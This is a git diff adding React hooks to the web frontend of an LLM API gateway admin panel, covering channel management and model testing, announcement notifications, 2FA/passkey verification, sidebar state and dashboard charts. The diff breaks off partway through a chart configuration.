+      let res = await API.get(`/api/group/`);
+      if (res === undefined) return;
+      setGroupOptions(
+        res.data.data.map((group) => ({
+          label: group,
+          value: group,
+        })),
+      );
+    } catch (error) {
+      showError(error.message);
+    }
+  };
+
+  // Copy channel
+  const copySelectedChannel = async (record) => {
+    try {
+      const res = await API.post(`/api/channel/copy/${record.id}`);
+      if (res?.data?.success) {
+        showSuccess(t('渠道复制成功'));
+        await refresh();
+      } else {
+        showError(res?.data?.message || t('渠道复制失败'));
+      }
+    } catch (error) {
+      showError(
+        t('渠道复制失败: ') +
+          (error?.response?.data?.message || error?.message || error),
+      );
+    }
+  };
+
+  // Update channel property
+  const updateChannelProperty = (channelId, updateFn) => {
+    const newChannels = [...channels];
+    let updated = false;
+
+    newChannels.forEach((channel) => {
+      if (channel.children !== undefined) {
+        channel.children.forEach((child) => {
+          if (child.id === channelId) {
+            updateFn(child);
+            updated = true;
+          }
+        });
+      } else if (channel.id === channelId) {
+        updateFn(channel);
+        updated = true;
+      }
+    });
+
+    if (updated) {
+      setChannels(newChannels);
+    }
+  };
+
+  // Tag edit
+  const submitTagEdit = async (type, data) => {
+    switch (type) {
+      case 'priority':
+        if (data.priority === undefined || data.priority === '') {
+          showInfo('优先级必须是整数！');
+          return;
+        }
+        data.priority = parseInt(data.priority);
+        break;
+      case 'weight':
+        if (
+          data.weight === undefined ||
+          data.weight < 0 ||
+          data.weight === ''
+        ) {
+          showInfo('权重必须是非负整数！');
+          return;
+        }
+        data.weight = parseInt(data.weight);
+        break;
+    }
+
+    try {
+      const res = await API.put('/api/channel/tag', data);
+      if (res?.data?.success) {
+        showSuccess('更新成功！');
+        await refresh();
+      }
+    } catch (error) {
+      showError(error);
+    }
+  };
+
+  // Close edit
+  const closeEdit = () => {
+    setShowEdit(false);
+  };
+
+  // Row style
+  const handleRow = (record, index) => {
+    if (record.status !== 1) {
+      return {
+        style: {
+          background: 'var(--semi-color-disabled-border)',
+        },
+      };
+    } else {
+      return {};
+    }
+  };
+
+  // Batch operations
+  const batchSetChannelTag = async () => {
+    if (selectedChannels.length === 0) {
+      showError(t('请先选择要设置标签的渠道！'));
+      return;
+    }
+    if (batchSetTagValue === '') {
+      showError(t('标签不能为空！'));
+      return;
+    }
+    let ids = selectedChannels.map((channel) => channel.id);
+    const res = await API.post('/api/channel/batch/tag', {
+      ids: ids,
+      tag: batchSetTagValue === '' ? null : batchSetTagValue,
+    });
+    if (res.data.success) {
+      showSuccess(
+        t('已为 ${count} 个渠道设置标签！').replace('${count}', res.data.data),
+      );
+      await refresh();
+      setShowBatchSetTag(false);
+    } else {
+      showError(res.data.message);
+    }
+  };
+
+  const batchDeleteChannels = async () => {
+    if (selectedChannels.length === 0) {
+      showError(t('请先选择要删除的通道！'));
+      return;
+    }
+    setLoading(true);
+    let ids = [];
+    selectedChannels.forEach((channel) => {
+      ids.push(channel.id);
+    });
+    const res = await API.post(`/api/channel/batch`, { ids: ids });
+    const { success, message, data } = res.data;
+    if (success) {
+      showSuccess(t('已删除 ${data} 个通道！').replace('${data}', data));
+      await refresh();
+      setTimeout(() => {
+        if (channels.length === 0 && activePage > 1) {
+          refresh(activePage - 1);
+        }
+      }, 100);
+    } else {
+      showError(message);
+    }
+    setLoading(false);
+  };
+
+  // Channel operations
+  const testAllChannels = async () => {
+    const res = await API.get(`/api/channel/test`);
+    const { success, message } = res.data;
+    if (success) {
+      showInfo(t('已成功开始测试所有已启用通道，请刷新页面查看结果。'));
+    } else {
+      showError(message);
+    }
+  };
+
+  const deleteAllDisabledChannels = async () => {
+    const res = await API.delete(`/api/channel/disabled`);
+    const { success, message, data } = res.data;
+    if (success) {
+      showSuccess(
+        t('已删除所有禁用渠道，共计 ${data} 个').replace('${data}', data),
+      );
+      await refresh();
+    } else {
+      showError(message);
+    }
+  };
+
+  const updateAllChannelsBalance = async () => {
+    const res = await API.get(`/api/channel/update_balance`);
+    const { success, message } = res.data;
+    if (success) {
+      showInfo(t('已更新完毕所有已启用通道余额！'));
+    } else {
+      showError(message);
+    }
+  };
+
+  const updateChannelBalance = async (record) => {
+    if (record?.type === 57) {
+      openCodexUsageModal({
+        t,
+        record,
+        onCopy: async (text) => {
+          const ok = await copy(text);
+          if (ok) showSuccess(t('已复制'));
+          else showError(t('复制失败'));
+        },
+      });
+      return;
+    }
+
+    const res = await API.get(`/api/channel/update_balance/${record.id}/`);
+    const { success, message, balance } = res.data;
+    if (success) {
+      updateChannelProperty(record.id, (channel) => {
+        channel.balance = balance;
+        channel.balance_updated_time = Date.now() / 1000;
+      });
+      showInfo(
+        t('通道 ${name} 余额更新成功！').replace('${name}', record.name),
+      );
+    } else {
+      showError(message);
+    }
+  };
+
+  const fixChannelsAbilities = async () => {
+    const res = await API.post(`/api/channel/fix`);
+    const { success, message, data } = res.data;
+    if (success) {
+      showSuccess(
+        t('已修复 ${success} 个通道，失败 ${fails} 个通道。')
+          .replace('${success}', data.success)
+          .replace('${fails}', data.fails),
+      );
+      await refresh();
+    } else {
+      showError(message);
+    }
+  };
+
+  const checkOllamaVersion = async (record) => {
+    try {
+      const res = await API.get(`/api/channel/ollama/version/${record.id}`);
+      const { success, message, data } = res.data;
+
+      if (success) {
+        const version = data?.version || '-';
+        const infoMessage = t('当前 Ollama 版本为 ${version}').replace(
+          '${version}',
+          version,
+        );
+
+        const handleCopyVersion = async () => {
+          if (!version || version === '-') {
+            showInfo(t('暂无可复制的版本信息'));
+            return;
+          }
+
+          const copied = await copy(version);
+          if (copied) {
+            showSuccess(t('已复制版本号'));
+          } else {
+            showError(t('复制失败，请手动复制'));
+          }
+        };
+
+        Modal.info({
+          title: t('Ollama 版本信息'),
+          content: infoMessage,
+          centered: true,
+          footer: (
+            <div className='flex justify-end gap-2'>
+              <Button type='tertiary' onClick={handleCopyVersion}>
+                {t('复制版本号')}
+              </Button>
+              <Button
+                type='primary'
+                theme='solid'
+                onClick={() => Modal.destroyAll()}
+              >
+                {t('关闭')}
+              </Button>
+            </div>
+          ),
+          hasCancel: false,
+          hasOk: false,
+          closable: true,
+          maskClosable: true,
+        });
+      } else {
+        showError(message || t('获取 Ollama 版本失败'));
+      }
+    } catch (error) {
+      const errMsg =
+        error?.response?.data?.message ||
+        error?.message ||
+        t('获取 Ollama 版本失败');
+      showError(errMsg);
+    }
+  };
+
+  // Test channel - 单个模型测试，参考旧版实现
+  const testChannel = async (
+    record,
+    model,
+    endpointType = '',
+    stream = false,
+  ) => {
+    const testKey = `${record.id}-${model}`;
+
+    // 检查是否应该停止批量测试
+    if (shouldStopBatchTestingRef.current && isBatchTesting) {
+      return Promise.resolve();
+    }
+
+    // 添加到正在测试的模型集合
+    setTestingModels((prev) => new Set([...prev, model]));
+
+    try {
+      let url = `/api/channel/test/${record.id}?model=${model}`;
+      if (endpointType) {
+        url += `&endpoint_type=${endpointType}`;
+      }
+      if (stream) {
+        url += `&stream=true`;
+      }
+      const res = await API.get(url);
+
+      // 检查是否在请求期间被停止
+      if (shouldStopBatchTestingRef.current && isBatchTesting) {
+        return Promise.resolve();
+      }
+
+      const { success, message, time, error_code } = res.data;
+
+      // 更新测试结果
+      setModelTestResults((prev) => ({
+        ...prev,
+        [testKey]: {
+          success,
+          message,
+          time: time || 0,
+          timestamp: Date.now(),
+          errorCode: error_code || null,
+        },
+      }));
+
+      if (success) {
+        // 更新渠道响应时间
+        updateChannelProperty(record.id, (channel) => {
+          channel.response_time = time * 1000;
+          channel.test_time = Date.now() / 1000;
+        });
+
+        if (!model || model === '') {
+          showInfo(
+            t('通道 ${name} 测试成功，耗时 ${time.toFixed(2)} 秒。')
+              .replace('${name}', record.name)
+              .replace('${time.toFixed(2)}', time.toFixed(2)),
+          );
+        } else {
+          showInfo(
+            t(
+              '通道 ${name} 测试成功，模型 ${model} 耗时 ${time.toFixed(2)} 秒。',
+            )
+              .replace('${name}', record.name)
+              .replace('${model}', model)
+              .replace('${time.toFixed(2)}', time.toFixed(2)),
+          );
+        }
+      } else {
+        showError(message);
+      }
+    } catch (error) {
+      // 处理网络错误
+      const testKey = `${record.id}-${model}`;
+      setModelTestResults((prev) => ({
+        ...prev,
+        [testKey]: {
+          success: false,
+          message: error.message || t('网络错误'),
+          time: 0,
+          timestamp: Date.now(),
+          errorCode: null,
+        },
+      }));
+      showError(error.message || t('测试失败'));
+    } finally {
+      // 从正在测试的模型集合中移除
+      setTestingModels((prev) => {
+        const newSet = new Set(prev);
+        newSet.delete(model);
+        return newSet;
+      });
+    }
+  };
+
+  // 批量测试单个渠道的所有模型，参考旧版实现
+  const batchTestModels = async () => {
+    if (!currentTestChannel || !currentTestChannel.models) {
+      showError(t('渠道模型信息不完整'));
+      return;
+    }
+
+    const models = currentTestChannel.models
+      .split(',')
+      .filter((model) =>
+        model.toLowerCase().includes(modelSearchKeyword.toLowerCase()),
+      );
+
+    if (models.length === 0) {
+      showError(t('没有找到匹配的模型'));
+      return;
+    }
+
+    setIsBatchTesting(true);
+    shouldStopBatchTestingRef.current = false; // 重置停止标志
+
+    // 清空该渠道之前的测试结果
+    setModelTestResults((prev) => {
+      const newResults = { ...prev };
+      models.forEach((model) => {
+        const testKey = `${currentTestChannel.id}-${model}`;
+        delete newResults[testKey];
+      });
+      return newResults;
+    });
+
+    try {
+      showInfo(
+        t('开始批量测试 ${count} 个模型，已清空上次结果...').replace(
+          '${count}',
+          models.length,
+        ),
+      );
+
+      // 提高并发数量以加快测试速度，参考旧版的并发限制
+      const concurrencyLimit = 5;
+      const results = [];
+
+      for (let i = 0; i < models.length; i += concurrencyLimit) {
+        // 检查是否应该停止
+        if (shouldStopBatchTestingRef.current) {
+          showInfo(t('批量测试已停止'));
+          break;
+        }
+
+        const batch = models.slice(i, i + concurrencyLimit);
+        showInfo(
+          t('正在测试第 ${current} - ${end} 个模型 (共 ${total} 个)')
+            .replace('${current}', i + 1)
+            .replace('${end}', Math.min(i + concurrencyLimit, models.length))
+            .replace('${total}', models.length),
+        );
+
+        const batchPromises = batch.map((model) =>
+          testChannel(
+            currentTestChannel,
+            model,
+            selectedEndpointType,
+            isStreamTest,
+          ),
+        );
+        const batchResults = await Promise.allSettled(batchPromises);
+        results.push(...batchResults);
+
+        // 再次检查是否应该停止
+        if (shouldStopBatchTestingRef.current) {
+          showInfo(t('批量测试已停止'));
+          break;
+        }
+
+        // 短暂延迟避免过于频繁的请求
+        if (i + concurrencyLimit < models.length) {
+          await new Promise((resolve) => setTimeout(resolve, 100));
+        }
+      }
+
+      if (!shouldStopBatchTestingRef.current) {
+        // 等待一小段时间确保所有结果都已更新
+        await new Promise((resolve) => setTimeout(resolve, 300));
+
+        // 使用当前状态重新计算结果统计
+        setModelTestResults((currentResults) => {
+          let successCount = 0;
+          let failCount = 0;
+
+          models.forEach((model) => {
+            const testKey = `${currentTestChannel.id}-${model}`;
+            const result = currentResults[testKey];
+            if (result && result.success) {
+              successCount++;
+            } else {
+              failCount++;
+            }
+          });
+
+          // 显示完成消息
+          setTimeout(() => {
+            showSuccess(
+              t('批量测试完成！成功: ${success}, 失败: ${fail}, 总计: ${total}')
+                .replace('${success}', successCount)
+                .replace('${fail}', failCount)
+                .replace('${total}', models.length),
+            );
+          }, 100);
+
+          return currentResults; // 不修改状态，只是为了获取最新值
+        });
+      }
+    } catch (error) {
+      showError(t('批量测试过程中发生错误: ') + error.message);
+    } finally {
+      setIsBatchTesting(false);
+    }
+  };
+
+  // 停止批量测试
+  const stopBatchTesting = () => {
+    shouldStopBatchTestingRef.current = true;
+    setIsBatchTesting(false);
+    setTestingModels(new Set());
+    showInfo(t('已停止批量测试'));
+  };
+
+  // 清空测试结果
+  const clearTestResults = () => {
+    setModelTestResults({});
+    showInfo(t('已清空测试结果'));
+  };
+
+  // Handle close modal
+  const handleCloseModal = () => {
+    // 如果正在批量测试，先停止测试
+    if (isBatchTesting) {
+      shouldStopBatchTestingRef.current = true;
+      showInfo(t('关闭弹窗，已停止批量测试'));
+    }
+
+    setShowModelTestModal(false);
+    setModelSearchKeyword('');
+    setIsBatchTesting(false);
+    setTestingModels(new Set());
+    setSelectedModelKeys([]);
+    setModelTablePage(1);
+    setSelectedEndpointType('');
+    setIsStreamTest(false);
+    // 可选择性保留测试结果，这里不清空以便用户查看
+  };
+
+  // Type counts
+  const channelTypeCounts = useMemo(() => {
+    if (Object.keys(typeCounts).length > 0) return typeCounts;
+    const counts = { all: channels.length };
+    channels.forEach((channel) => {
+      const collect = (ch) => {
+        const type = ch.type;
+        counts[type] = (counts[type] || 0) + 1;
+      };
+      if (channel.children !== undefined) {
+        channel.children.forEach(collect);
+      } else {
+        collect(channel);
+      }
+    });
+    return counts;
+  }, [typeCounts, channels]);
+
+  const availableTypeKeys = useMemo(() => {
+    const keys = ['all'];
+    Object.entries(channelTypeCounts).forEach(([k, v]) => {
+      if (k !== 'all' && v > 0) keys.push(String(k));
+    });
+    return keys;
+  }, [channelTypeCounts]);
+
+  return {
+    // Basic states
+    channels,
+    loading,
+    searching,
+    activePage,
+    pageSize,
+    channelCount,
+    groupOptions,
+    idSort,
+    enableTagMode,
+    enableBatchDelete,
+    statusFilter,
+    compactMode,
+    globalPassThroughEnabled,
+
+    // UI states
+    showEdit,
+    setShowEdit,
+    editingChannel,
+    setEditingChannel,
+    showEditTag,
+    setShowEditTag,
+    editingTag,
+    setEditingTag,
+    selectedChannels,
+    setSelectedChannels,
+    showBatchSetTag,
+    setShowBatchSetTag,
+    batchSetTagValue,
+    setBatchSetTagValue,
+
+    // Column states
+    visibleColumns,
+    showColumnSelector,
+    setShowColumnSelector,
+    COLUMN_KEYS,
+
+    // Type tab states
+    activeTypeKey,
+    setActiveTypeKey,
+    typeCounts,
+    channelTypeCounts,
+    availableTypeKeys,
+
+    // Model test states
+    showModelTestModal,
+    setShowModelTestModal,
+    currentTestChannel,
+    setCurrentTestChannel,
+    modelSearchKeyword,
+    setModelSearchKeyword,
+    modelTestResults,
+    testingModels,
+    selectedModelKeys,
+    setSelectedModelKeys,
+    isBatchTesting,
+    modelTablePage,
+    setModelTablePage,
+    selectedEndpointType,
+    setSelectedEndpointType,
+    isStreamTest,
+    setIsStreamTest,
+    allSelectingRef,
+
+    // Multi-key management states
+    showMultiKeyManageModal,
+    setShowMultiKeyManageModal,
+    currentMultiKeyChannel,
+    setCurrentMultiKeyChannel,
+    ...upstreamUpdates,
+
+    // Form
+    formApi,
+    setFormApi,
+    formInitValues,
+
+    // Helpers
+    t,
+    isMobile,
+
+    // Functions
+    loadChannels,
+    searchChannels,
+    refresh,
+    manageChannel,
+    manageTag,
+    handlePageChange,
+    handlePageSizeChange,
+    copySelectedChannel,
+    updateChannelProperty,
+    submitTagEdit,
+    closeEdit,
+    handleRow,
+    batchSetChannelTag,
+    batchDeleteChannels,
+    testAllChannels,
+    deleteAllDisabledChannels,
+    updateAllChannelsBalance,
+    updateChannelBalance,
+    fixChannelsAbilities,
+    checkOllamaVersion,
+    testChannel,
+    batchTestModels,
+    handleCloseModal,
+    getFormValues,
+
+    // Column functions
+    handleColumnVisibilityChange,
+    handleSelectAll,
+    initDefaultColumns,
+    getDefaultColumnVisibility,
+
+    // Setters
+    setIdSort,
+    setEnableTagMode,
+    setEnableBatchDelete,
+    setStatusFilter,
+    setCompactMode,
+    setActivePage,
+  };
+};
diff --git a/_all-in-one-upload/new-api/web/classic/src/hooks/common/useNotifications.js b/_all-in-one-upload/new-api/web/classic/src/hooks/common/useNotifications.js
new file mode 100644
index 0000000..bc88027
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/hooks/common/useNotifications.js
@@ -0,0 +1,94 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import { useState, useEffect } from 'react';
+
+export const useNotifications = (statusState) => {
+  const [noticeVisible, setNoticeVisible] = useState(false);
+  const [unreadCount, setUnreadCount] = useState(0);
+
+  const announcements = statusState?.status?.announcements || [];
+
+  // Helper functions
+  const getAnnouncementKey = (a) =>
+    `${a?.publishDate || ''}-${(a?.content || '').slice(0, 30)}`;
+
+  const calculateUnreadCount = () => {
+    if (!announcements.length) return 0;
+    let readKeys = [];
+    try {
+      readKeys = JSON.parse(localStorage.getItem('notice_read_keys')) || [];
+    } catch (_) {
+      readKeys = [];
+    }
+    const readSet = new Set(readKeys);
+    return announcements.filter((a) => !readSet.has(getAnnouncementKey(a)))
+      .length;
+  };
+
+  const getUnreadKeys = () => {
+    if (!announcements.length) return [];
+    let readKeys = [];
+    try {
+      readKeys = JSON.parse(localStorage.getItem('notice_read_keys')) || [];
+    } catch (_) {
+      readKeys = [];
+    }
+    const readSet = new Set(readKeys);
+    return announcements
+      .filter((a) => !readSet.has(getAnnouncementKey(a)))
+      .map(getAnnouncementKey);
+  };
+
+  // Effects
+  useEffect(() => {
+    setUnreadCount(calculateUnreadCount());
+  }, [announcements]);
+
+  // Actions
+  const handleNoticeOpen = () => {
+    setNoticeVisible(true);
+  };
+
+  const handleNoticeClose = () => {
+    setNoticeVisible(false);
+    if (announcements.length) {
+      let readKeys = [];
+      try {
+        readKeys = JSON.parse(localStorage.getItem('notice_read_keys')) || [];
+      } catch (_) {
+        readKeys = [];
+      }
+      const mergedKeys = Array.from(
+        new Set([...readKeys, ...announcements.map(getAnnouncementKey)]),
+      );
+      localStorage.setItem('notice_read_keys', JSON.stringify(mergedKeys));
+    }
+    setUnreadCount(0);
+  };
+
+  return {
+    noticeVisible,
+    unreadCount,
+    announcements,
+    handleNoticeOpen,
+    handleNoticeClose,
+    getUnreadKeys,
+  };
+};
diff --git a/_all-in-one-upload/new-api/web/classic/src/hooks/common/useSecureVerification.jsx b/_all-in-one-upload/new-api/web/classic/src/hooks/common/useSecureVerification.jsx
new file mode 100644
index 0000000..9109ec7
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/hooks/common/useSecureVerification.jsx
@@ -0,0 +1,274 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import { useState, useEffect, useCallback } from 'react';
+import { useTranslation } from 'react-i18next';
+import { SecureVerificationService } from '../../services/secureVerification';
+import { showError, showSuccess } from '../../helpers';
+import { isVerificationRequiredError } from '../../helpers/secureApiCall';
+
+/**
+ * 通用安全验证 Hook
+ * @param {Object} options - 配置选项
+ * @param {Function} options.onSuccess - 验证成功回调
+ * @param {Function} options.onError - 验证失败回调
+ * @param {string} options.successMessage - 成功提示消息
+ * @param {boolean} options.autoReset - 验证完成后是否自动重置状态，默认为 true
+ */
+export const useSecureVerification = ({
+  onSuccess,
+  onError,
+  successMessage,
+  autoReset = true,
+} = {}) => {
+  const { t } = useTranslation();
+
+  // 验证方式可用性状态
+  const [verificationMethods, setVerificationMethods] = useState({
+    has2FA: false,
+    hasPasskey: false,
+    passkeySupported: false,
+  });
+
+  // 模态框状态
+  const [isModalVisible, setIsModalVisible] = useState(false);
+
+  // 当前验证状态
+  const [verificationState, setVerificationState] = useState({
+    method: null, // '2fa' | 'passkey'
+    loading: false,
+    code: '',
+    apiCall: null,
+  });
+
+  // 检查可用的验证方式
+  const checkVerificationMethods = useCallback(async () => {
+    const methods =
+      await SecureVerificationService.checkAvailableVerificationMethods();
+    setVerificationMethods(methods);
+    return methods;
+  }, []);
+
+  // 初始化时检查验证方式
+  useEffect(() => {
+    checkVerificationMethods();
+  }, [checkVerificationMethods]);
+
+  // 重置状态
+  const resetState = useCallback(() => {
+    setVerificationState({
+      method: null,
+      loading: false,
+      code: '',
+      apiCall: null,
+    });
+    setIsModalVisible(false);
+  }, []);
+
+  // 开始验证流程
+  const startVerification = useCallback(
+    async (apiCall, options = {}) => {
+      const { preferredMethod, title, description } = options;
+
+      // 检查验证方式
+      const methods = await checkVerificationMethods();
+
+      if (!methods.has2FA && !methods.hasPasskey) {
+        const errorMessage = t('您需要先启用两步验证或 Passkey 才能执行此操作');
+        showError(errorMessage);
+        onError?.(new Error(errorMessage));
+        return false;
+      }
+
+      // 设置默认验证方式
+      let defaultMethod = preferredMethod;
+      if (!defaultMethod) {
+        if (methods.hasPasskey && methods.passkeySupported) {
+          defaultMethod = 'passkey';
+        } else if (methods.has2FA) {
+          defaultMethod = '2fa';
+        }
+      }
+
+      setVerificationState((prev) => ({
+        ...prev,
+        method: defaultMethod,
+        apiCall,
+        title,
+        description,
+      }));
+      setIsModalVisible(true);
+
+      return true;
+    },
+    [checkVerificationMethods, onError, t],
+  );
+
+  // 执行验证
+  const executeVerification = useCallback(
+    async (method, code = '') => {
+      if (!verificationState.apiCall) {
+        showError(t('验证配置错误'));
+        return;
+      }
+
+      setVerificationState((prev) => ({ ...prev, loading: true }));
+
+      try {
+        // 先调用验证 API，成功后后端会设置 session
+        await SecureVerificationService.verify(method, code);
+
+        // 验证成功，调用业务 API（此时中间件会通过）
+        const result = await verificationState.apiCall();
+
+        // 显示成功消息
+        if (successMessage) {
+          showSuccess(successMessage);
+        }
+
+        // 调用成功回调
+        onSuccess?.(result, method);
+
+        // 自动重置状态
+        if (autoReset) {
+          resetState();
+        }
+
+        return result;
+      } catch (error) {
+        showError(error.message || t('验证失败，请重试'));
+        onError?.(error);
+        throw error;
+      } finally {
+        setVerificationState((prev) => ({ ...prev, loading: false }));
+      }
+    },
+    [
+      verificationState.apiCall,
+      successMessage,
+      onSuccess,
+      onError,
+      autoReset,
+      resetState,
+      t,
+    ],
+  );
+
+  // 设置验证码
+  const setVerificationCode = useCallback((code) => {
+    setVerificationState((prev) => ({ ...prev, code }));
+  }, []);
+
+  // 切换验证方式
+  const switchVerificationMethod = useCallback((method) => {
+    setVerificationState((prev) => ({ ...prev, method, code: '' }));
+  }, []);
+
+  // 取消验证
+  const cancelVerification = useCallback(() => {
+    resetState();
+  }, [resetState]);
+
+  // 检查是否可以使用某种验证方式
+  const canUseMethod = useCallback(
+    (method) => {
+      switch (method) {
+        case '2fa':
+          return verificationMethods.has2FA;
+        case 'passkey':
+          return (
+            verificationMethods.hasPasskey &&
+            verificationMethods.passkeySupported
+          );
+        default:
+          return false;
+      }
+    },
+    [verificationMethods],
+  );
+
+  // 获取推荐的验证方式
+  const getRecommendedMethod = useCallback(() => {
+    if (
+      verificationMethods.hasPasskey &&
+      verificationMethods.passkeySupported
+    ) {
+      return 'passkey';
+    }
+    if (verificationMethods.has2FA) {
+      return '2fa';
+    }
+    return null;
+  }, [verificationMethods]);
+
+  /**
+   * 包装 API 调用，自动处理验证错误
+   * 当 API 返回需要验证的错误时，自动弹出验证模态框
+   * @param {Function} apiCall - API 调用函数
+   * @param {Object} options - 验证选项（同 startVerification）
+   * @returns {Promise<any>}
+   */
+  const withVerification = useCallback(
+    async (apiCall, options = {}) => {
+      try {
+        // 直接尝试调用 API
+        return await apiCall();
+      } catch (error) {
+        // 检查是否是需要验证的错误
+        if (isVerificationRequiredError(error)) {
+          // 自动触发验证流程
+          await startVerification(apiCall, options);
+          // 不抛出错误，让验证模态框处理
+          return null;
+        }
+        // 其他错误继续抛出
+        throw error;
+      }
+    },
+    [startVerification],
+  );
+
+  return {
+    // 状态
+    isModalVisible,
+    verificationMethods,
+    verificationState,
+
+    // 方法
+    startVerification,
+    executeVerification,
+    cancelVerification,
+    resetState,
+    setVerificationCode,
+    switchVerificationMethod,
+    checkVerificationMethods,
+
+    // 辅助方法
+    canUseMethod,
+    getRecommendedMethod,
+    withVerification, // 新增：自动处理验证的包装函数
+
+    // 便捷属性
+    hasAnyVerificationMethod:
+      verificationMethods.has2FA || verificationMethods.hasPasskey,
+    isLoading: verificationState.loading,
+    currentMethod: verificationState.method,
+    code: verificationState.code,
+  };
+};
diff --git a/_all-in-one-upload/new-api/web/classic/src/hooks/common/useSidebarCollapsed.js b/_all-in-one-upload/new-api/web/classic/src/hooks/common/useSidebarCollapsed.js
new file mode 100644
index 0000000..7025a71
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/hooks/common/useSidebarCollapsed.js
@@ -0,0 +1,43 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import { useState, useCallback } from 'react';
+
+const KEY = 'default_collapse_sidebar';
+
+export const useSidebarCollapsed = () => {
+  const [collapsed, setCollapsed] = useState(
+    () => localStorage.getItem(KEY) === 'true',
+  );
+
+  const toggle = useCallback(() => {
+    setCollapsed((prev) => {
+      const next = !prev;
+      localStorage.setItem(KEY, next.toString());
+      return next;
+    });
+  }, []);
+
+  const set = useCallback((value) => {
+    setCollapsed(value);
+    localStorage.setItem(KEY, value.toString());
+  }, []);
+
+  return [collapsed, toggle, set];
+};
diff --git a/_all-in-one-upload/new-api/web/classic/src/hooks/dashboard/useDashboardCharts.jsx b/_all-in-one-upload/new-api/web/classic/src/hooks/dashboard/useDashboardCharts.jsx
new file mode 100644
index 0000000..ef0d47b
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/hooks/dashboard/useDashboardCharts.jsx
@@ -0,0 +1,628 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import { useState, useCallback, useEffect } from 'react';
+import { initVChartSemiTheme } from '@visactor/vchart-semi-theme';
+import {
+  modelColorMap,
+  renderNumber,
+  renderQuota,
+  modelToColor,
+  getQuotaWithUnit,
+} from '../../helpers';
+import {
+  processRawData,
+  calculateTrendData,
+  aggregateDataByTimeAndModel,
+  generateChartTimePoints,
+  updateChartSpec,
+  updateMapValue,
+  initializeMaps,
+  processUserData,
+} from '../../helpers/dashboard';
+
+const USER_COLORS = [
+  '#3b82f6', '#ef4444', '#10b981', '#f59e0b', '#8b5cf6',
+  '#ec4899', '#06b6d4', '#f97316', '#6366f1', '#14b8a6',
+];
+
+export const useDashboardCharts = (
+  dataExportDefaultTime,
+  setTrendData,
+  setConsumeQuota,
+  setTimes,
+  setConsumeTokens,
+  setPieData,
+  setLineData,
+  setModelColors,
+  t,
+) => {
+  // ========== 图表规格状态 ==========
+  const [spec_pie, setSpecPie] = useState({
+    type: 'pie',
+    data: [
+      {
+        id: 'id0',
+        values: [{ type: 'null', value: '0' }],
+      },
+    ],
+    outerRadius: 0.8,
+    innerRadius: 0.5,
+    padAngle: 0.6,
+    valueField: 'value',
+    categoryField: 'type',
+    pie: {
+      style: {
+        cornerRadius: 10,
+      },
+      state: {
+        hover: {
+          outerRadius: 0.85,
+          stroke: '#000',
+          lineWidth: 1,
+        },
+        selected: {
+          outerRadius: 0.85,
+          stroke: '#000',
+          lineWidth: 1,
+        },
+      },
+    },
+    title: {
+      visible: true,
+      text: t('模型调用次数占比'),
+      subtext: `${t('总计')}：${renderNumber(0)}`,
+    },
+    legends: {
+      visible: true,
+      orient: 'left',
+    },
+    label: {
+      visible: true,
+    },
+    tooltip: {
+      mark: {
+        content: [
+          {
+            key: (datum) => datum['type'],
+            value: (datum) => renderNumber(datum['value']),
+          },
+        ],
+      },
+    },
+    color: {
+      specified: modelColorMap,
+    },
+  });
+
+  const [spec_line, setSpecLine] = useState({
+    type: 'bar',
+    data: [
+      {
+        id: 'barData',
+        values: [],
+      },
+    ],
+    xField: 'Time',
+    yField: 'Usage',
+    seriesField: 'Model',
+    stack: true,
+    legends: {
+      visible: true,
+      selectMode: 'single',
+    },
+    title: {
+      visible: true,
+      text: t('模型消耗分布'),
+      subtext: `${t('总计')}：${renderQuota(0, 2)}`,
+    },
+    bar: {
+      state: {
+        hover: {
+          stroke: '#000',
+          lineWidth: 1,
+        },
+      },
+    },
+    tooltip: {
+      mark: {
+        content: [
+          {
+            key: (datum) => datum['Model'],
+            value: (datum) => renderQuota(datum['rawQuota'] || 0, 4),
+          },
+        ],
+      },
+      dimension: {
+        content: [
+          {
+            key: (datum) => datum['Model'],
+            value: (datum) => datum['rawQuota'] || 0,
+          },
+        ],
+        updateContent: (array) => {
+          array.sort((a, b) => b.value - a.value);
+          let sum = 0;
